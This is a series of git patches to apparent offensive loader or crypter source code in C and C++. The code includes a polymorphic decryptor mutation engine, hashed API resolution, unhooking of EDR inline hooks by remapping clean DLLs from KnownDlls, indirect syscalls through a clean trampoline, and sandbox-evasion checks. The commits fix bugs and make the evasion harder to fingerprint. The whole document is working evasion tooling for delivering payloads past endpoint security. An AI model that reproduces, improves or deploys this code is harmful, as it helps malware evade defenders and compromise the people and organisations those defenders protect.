From 081a2203a97b9d2a5562794f928164f7630425cd Mon Sep 17 00:00:00 2001 From: Anubhav Gain Date: Fri, 1 May 2026 03:36:17 +0530 Subject: [PATCH 1/5] fix(MutationEngine): overflow guard, drop no-op HeapFree, add leading junk entropy --- Engine/MutationEngine.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/Engine/MutationEngine.c b/Engine/MutationEngine.c index cb139ce..aea87ef 100644 --- a/Engine/MutationEngine.c +++ b/Engine/MutationEngine.c @@ -446,11 +446,11 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen, if (originalStubSize < 8 || DecryptorStubBegin[TMPL_BLOCK_B_OFF] != 0xBA || DecryptorStubBegin[TMPL_BLOCK_C_OFF] != 0x45) { - HeapFree(GetProcessHeap(), 0, NULL); /* no-op, just symmetrical with alloc path */ return FALSE; /* Template mismatch — update TMPL_BLOCK_*_OFF constants */ } SIZE_T maxStubSize = originalStubSize * 4 + 256; + if (payloadLen > (SIZE_T)-1 - maxStubSize) return FALSE; SIZE_T bufSize = maxStubSize + payloadLen; BYTE *buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize); if (!buf) @@ -516,11 +516,8 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen, for (int i = 0; i < 4; i++) { int idx = order[i]; - /* Insert junk before the block (except the first one) */ - if (i > 0) { - pos = InsertRandomJunk(buf, pos); - pos = InsertRandomNop(buf, pos); - } + pos = InsertRandomJunk(buf, pos); + pos = InsertRandomNop(buf, pos); /* Remember the offset of imm32 inside Block B */ if (idx == 0) { From dd6a8dbd31acf041ffe94b2bb26c19475dbfeeec Mon Sep 17 00:00:00 2001 From: Anubhav Gain Date: Fri, 1 May 2026 03:36:27 +0530 Subject: [PATCH 2/5] fix(ApiHashing,Unhooker): DJB2_SEED non-zero range, translate Polish comment --- Stub/ApiHashing.cpp | 2 +- Stub/Unhooker.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Stub/ApiHashing.cpp b/Stub/ApiHashing.cpp index af8f036..5e8aed6 100644 --- a/Stub/ApiHashing.cpp +++ b/Stub/ApiHashing.cpp @@ -24,7 +24,7 @@ constexpr int RandomCompileTimeSeed(void) // Compile-time seed generation for Djb2 hashing, ensuring variability across different compilations // Modulo 0xFF to ensure the seed fits within a byte, which is sufficient for our hashing needs -constexpr auto DJB2_SEED = RandomCompileTimeSeed() % 0xFF; +constexpr auto DJB2_SEED = (RandomCompileTimeSeed() % 0xFE) + 1; extern "C" constexpr DWORD HashStringDjb2A(const char* String) { DWORD Hash = DJB2_SEED; diff --git a/Stub/Unhooker.c b/Stub/Unhooker.c index 30c2cea..9dec651 100644 --- a/Stub/Unhooker.c +++ b/Stub/Unhooker.c @@ -99,7 +99,7 @@ static void UnhookModule(PVOID hookedBase, PVOID cleanBase) { } BOOL Unhook_RestoreAll(void) { - /* Mapuj czyste kopie */ + /* Map clean copies from \KnownDlls\ */ PVOID pCNtdll = MapKnownDll(kEncNtdll, 20, 0xAA); PVOID pCK32 = MapKnownDll(kEncKernel32, 23, 0xAA); PVOID pCKbase = MapKnownDll(kEncKernelbase, 25, 0xAA); From 84bf6abf594508a3ea0c78b19768b7a022444e7c Mon Sep 17 00:00:00 2001 From: Anubhav Gain Date: Fri, 1 May 2026 03:36:32 +0530 Subject: [PATCH 3/5] fix(Syscalls): insertion sort for SSN table, RUNTIME_FUNCTION guard on trampoline --- Stub/Syscalls.c | 40 +++++++++++++++++++++++++++++----------- 1 file changed, 29 insertions(+), 11 deletions(-) diff --git a/Stub/Syscalls.c b/Stub/Syscalls.c index 620b425..480fd40 100644 --- a/Stub/Syscalls.c +++ b/Stub/Syscalls.c @@ -17,16 +17,15 @@ static PVOID g_CleanTrampoline = NULL; // Helper to sort syscall entries by RVA static void SortSyscalls() { - for (DWORD i = 0; i < g_SyscallCount - 1; i++) { - for (DWORD j = 0; j < g_SyscallCount - i - 1; j++) { - if (g_Syscalls[j].RVA > g_Syscalls[j + 1].RVA) { - SYSCALL_ENTRY temp = g_Syscalls[j]; - g_Syscalls[j] = g_Syscalls[j + 1]; - g_Syscalls[j + 1] = temp; - } + for (DWORD i = 1; i < g_SyscallCount; i++) { + SYSCALL_ENTRY key = g_Syscalls[i]; + int j = (int)i - 1; + while (j >= 0 && g_Syscalls[j].RVA > key.RVA) { + g_Syscalls[j + 1] = g_Syscalls[j]; + j--; } + g_Syscalls[j + 1] = key; } - // Assign SSNs sequentially based on sorted RVA for (DWORD i = 0; i < g_SyscallCount; i++) { g_Syscalls[i].SSN = i; } @@ -89,16 +88,35 @@ static BOOL ParseNtdllSyscalls(PBYTE pBase) { static PVOID FindCleanTrampoline(PBYTE pBase) { PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBase; PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pBase + pDos->e_lfanew); - PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt); + /* Load RUNTIME_FUNCTION table for RVA validation */ + IMAGE_DATA_DIRECTORY pdataDir = pNt->OptionalHeader.DataDirectory[3]; /* IMAGE_DIRECTORY_ENTRY_EXCEPTION */ + PRUNTIME_FUNCTION pRF = NULL; + DWORD rfCount = 0; + if (pdataDir.VirtualAddress && pdataDir.Size) { + pRF = (PRUNTIME_FUNCTION)(pBase + pdataDir.VirtualAddress); + rfCount = pdataDir.Size / sizeof(RUNTIME_FUNCTION); + } + + PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt); for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) { if (custom_strcmp((char*)pSection[i].Name, ".text") == 0) { PBYTE pText = pBase + pSection[i].VirtualAddress; DWORD dwSize = pSection[i].Misc.VirtualSize; - for (DWORD j = 0; j < dwSize - 2; j++) { + for (DWORD j = 0; j + 2 < dwSize; j++) { if (pText[j] == 0x0F && pText[j + 1] == 0x05 && pText[j + 2] == 0xC3) { - return (PVOID)(pText + j); + if (!pRF || rfCount == 0) return (PVOID)(pText + j); + + DWORD rva = (DWORD)((pText + j) - pBase); + for (DWORD k = 0; k < rfCount; k++) { + if (rva >= pRF[k].BeginAddress && rva < pRF[k].EndAddress) { + if (!(pRF[k].UnwindData & 1)) + return (PVOID)(pText + j); + break; + } + } + /* Not inside a valid RUNTIME_FUNCTION — keep scanning */ } } } From fb94438581af18c2829f8cace0acca11708b4448 Mon Sep 17 00:00:00 2001 From: Anubhav Gain Date: Fri, 1 May 2026 03:36:45 +0530 Subject: [PATCH 4/5] =?UTF-8?q?fix(OpsecFlags,Builder):=20rename=20EVASION?= =?UTF-8?q?=5FFLAG=5FUNHOOK=E2=86=92OPSEC=5FFLAG=5FUNHOOK,=20unique=20RAND?= =?UTF-8?q?OM=20preset=20indices?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Builder/Builder.cpp | 8 +++++++- Engine/OpsecFlags.h | 2 +- Stub/Stub.cpp | 2 +- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/Builder/Builder.cpp b/Builder/Builder.cpp index e51be55..102fc0e 100644 --- a/Builder/Builder.cpp +++ b/Builder/Builder.cpp @@ -221,7 +221,13 @@ static BOOL ParseArgs(int argc, char* argv[], BUILD_CONFIG* cfg) { } cfg->dll_indices[0] = rnd[0] % 10; cfg->dll_indices[1] = rnd[1] % 10; + if (cfg->dll_indices[1] == cfg->dll_indices[0]) + cfg->dll_indices[1] = (cfg->dll_indices[1] + 1) % 10; cfg->dll_indices[2] = rnd[2] % 10; + if (cfg->dll_indices[2] == cfg->dll_indices[0] || cfg->dll_indices[2] == cfg->dll_indices[1]) + cfg->dll_indices[2] = (cfg->dll_indices[2] + 1) % 10; + if (cfg->dll_indices[2] == cfg->dll_indices[0] || cfg->dll_indices[2] == cfg->dll_indices[1]) + cfg->dll_indices[2] = (cfg->dll_indices[2] + 1) % 10; } else { printf("[!] Unknown preset: %s (valid: PRINT, MEDIA, NETWORK, RANDOM)\n", preset); return FALSE; @@ -263,7 +269,7 @@ static BOOL ParseArgs(int argc, char* argv[], BUILD_CONFIG* cfg) { cfg->opsecFlags |= OPSEC_FLAG_KEEP_ALIVE; } else if (_stricmp(argv[i], "--unhook") == 0) { - cfg->opsecFlags |= EVASION_FLAG_UNHOOK; + cfg->opsecFlags |= OPSEC_FLAG_UNHOOK; } else if (_stricmp(argv[i], "--disable") == 0 && i + 1 < argc) { if (!ApplyDisableList(argv[++i], &cfg->opsecFlags)) return FALSE; diff --git a/Engine/OpsecFlags.h b/Engine/OpsecFlags.h index 4a8d49d..7c45ffb 100644 --- a/Engine/OpsecFlags.h +++ b/Engine/OpsecFlags.h @@ -38,7 +38,7 @@ #define EVASION_FLAG_NO_EXEC_CTRL (1u << 9) /* skip "wuauctl" semaphore check */ #define EVASION_FLAG_NO_UPTIME (1u << 10) /* skip < 2 min uptime check */ #define EVASION_FLAG_NO_CPU_COUNT (1u << 11) /* skip < 2 CPU check */ -#define EVASION_FLAG_UNHOOK (1u << 12) /* unhook */ +#define OPSEC_FLAG_UNHOOK (1u << 12) /* restore ntdll/kernel32/kernelbase .text from \\KnownDlls\\ */ #define EVASION_FLAG_NO_SLEEP_FWD (1u << 13) /* skip sleep-forwarding check */ #define EVASION_FLAG_NO_SCREEN_RES (1u << 14) /* skip screen resolution check */ #define EVASION_FLAG_NO_RECENT_FILES (1u << 15) /* skip recent-files count check */ diff --git a/Stub/Stub.cpp b/Stub/Stub.cpp index 040a62d..809311c 100644 --- a/Stub/Stub.cpp +++ b/Stub/Stub.cpp @@ -91,7 +91,7 @@ extern "C" int EntryPoint() { * \KnownDlls\ clean copies, overwriting EDR inline hooks. * Runs after InitNtApi so Sys_Nt* wrappers (HellsHall) are available. * Runs before StackSpoof so subsequent Win32 calls hit clean code. */ - if (opsecFlags & EVASION_FLAG_UNHOOK) { + if (opsecFlags & OPSEC_FLAG_UNHOOK) { Unhook_RestoreAll(); } From b964bb211fc65b90c4fb03015e76d92f41cb9392 Mon Sep 17 00:00:00 2001 From: Anubhav Gain Date: Fri, 1 May 2026 03:40:55 +0530 Subject: [PATCH 5/5] fix(MutationEngine): replace stdlib rand()/srand() with local XORshift PRNG Removes the stdlib.h dependency from MutationEngine.c and makes the PRNG consistent with the XORshift pattern used in Crypto.c and Common.c. Two independent PRNG states (stdlib rand + XORshift) in the same Builder process now unified under one approach. --- Engine/MutationEngine.c | 41 ++++++++++++++++++++++++++++------------- 1 file changed, 28 insertions(+), 13 deletions(-) diff --git a/Engine/MutationEngine.c b/Engine/MutationEngine.c index aea87ef..4900401 100644 --- a/Engine/MutationEngine.c +++ b/Engine/MutationEngine.c @@ -41,9 +41,24 @@ #include "MutationEngine.h" #include -#include #include +/* Local XORshift PRNG — replaces stdlib rand()/srand(). + * Keeps MutationEngine consistent with the XORshift pattern used in + * Crypto.c and Common.c; also removes the stdlib.h dependency. */ +static unsigned int g_mut_rand_state = 0; + +static void mut_srand(unsigned int seed) { + g_mut_rand_state = seed ? seed : 123456789; +} + +static int mut_rand(void) { + g_mut_rand_state ^= g_mut_rand_state << 13; + g_mut_rand_state ^= g_mut_rand_state >> 17; + g_mut_rand_state ^= g_mut_rand_state << 5; + return (int)(g_mut_rand_state & 0x7FFFFFFF); +} + /* ============================================================ * DECRYPTOR TEMPLATE – imported from DecryptorStub.asm * ============================================================ */ @@ -340,7 +355,7 @@ static int EmitRorAlImm8_V3(BYTE *out, BYTE imm8) { * V3: lea r9, [r9+1] (4D 8D 49 01) – LEA displacement, 4B * ============================================================ */ static int EmitIncR9(BYTE *out) { - switch (rand() % 3) { + switch (mut_rand() % 3) { case 0: /* inc r9 */ out[0] = 0x49; out[1] = 0xFF; out[2] = 0xC1; return 3; @@ -361,7 +376,7 @@ static int EmitIncR9(BYTE *out) { * V2: cmp r9, rdx (4C 3B CA) – CMP r64, r/m64 (operands swapped) * ============================================================ */ static int EmitCmpRdxR9(BYTE *out) { - switch (rand() % 2) { + switch (mut_rand() % 2) { case 0: /* cmp rdx, r9 */ out[0] = 0x4C; out[1] = 0x39; out[2] = 0xCA; return 3; @@ -388,9 +403,9 @@ static int EmitBytes(BYTE *out, int offset, const BYTE *src, int len) { * ============================================================ */ static int InsertRandomJunk(BYTE *out, int offset) { /* Random number of junk instructions: 0, 1 or 2 */ - int count = rand() % 3; + int count = mut_rand() % 3; for (int i = 0; i < count; i++) { - int idx = rand() % JUNK_COUNT; + int idx = mut_rand() % JUNK_COUNT; memcpy(out + offset, JUNK_TABLE[idx].bytes, JUNK_TABLE[idx].len); offset += JUNK_TABLE[idx].len; } @@ -404,8 +419,8 @@ static int InsertRandomJunk(BYTE *out, int offset) { * Returns the new offset. * ============================================================ */ static int InsertRandomNop(BYTE *out, int offset) { - if (rand() % 2 == 0) { - int idx = rand() % NOP_VARIANT_COUNT; + if (mut_rand() % 2 == 0) { + int idx = mut_rand() % NOP_VARIANT_COUNT; memcpy(out + offset, NOP_TABLE[idx], NOP_SIZES[idx]); offset += NOP_SIZES[idx]; } @@ -457,7 +472,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen, return FALSE; /* Seed RNG for this run */ - srand((unsigned int)(__rdtsc() & 0xFFFFFFFF)); + mut_srand((unsigned int)(__rdtsc() & 0xFFFFFFFF)); int pos = 0; /* current write position in output buffer */ @@ -500,7 +515,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen, /* Fisher-Yates shuffle for 4 elements → 4! = 24 orderings */ int order[4] = {0, 1, 2, 3}; for (int i = 3; i > 0; i--) { - int j = rand() % (i + 1); + int j = mut_rand() % (i + 1); int tmp = order[i]; order[i] = order[j]; order[j] = tmp; @@ -568,7 +583,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen, /* --- First XOR step (undoes last encrypt XOR) --- */ { - int variant = rand() % 3; + int variant = mut_rand() % 3; int emitted = 0; switch (variant) { case 0: emitted = EmitXorAlImm8_V1(buf + pos, firstXorKey); break; @@ -582,7 +597,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen, /* --- Step 3': sub al, KEY3 (undo ADD) --- */ { - int variant = rand() % 3; + int variant = mut_rand() % 3; int emitted = 0; switch (variant) { case 0: emitted = EmitSubAlImm8_V1(buf + pos, pKey->key3); break; @@ -596,7 +611,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen, /* --- Step 2': ror al, ROT_BITS (undo ROL) --- */ { - int variant = rand() % 3; + int variant = mut_rand() % 3; int emitted = 0; switch (variant) { case 0: emitted = EmitRorAlImm8_V1(buf + pos, pKey->rotBits); break; @@ -610,7 +625,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen, /* --- Last XOR step (undoes first encrypt XOR) --- */ { - int variant = rand() % 3; + int variant = mut_rand() % 3; int emitted = 0; switch (variant) { case 0: emitted = EmitXorAlImm8_V1(buf + pos, lastXorKey); break;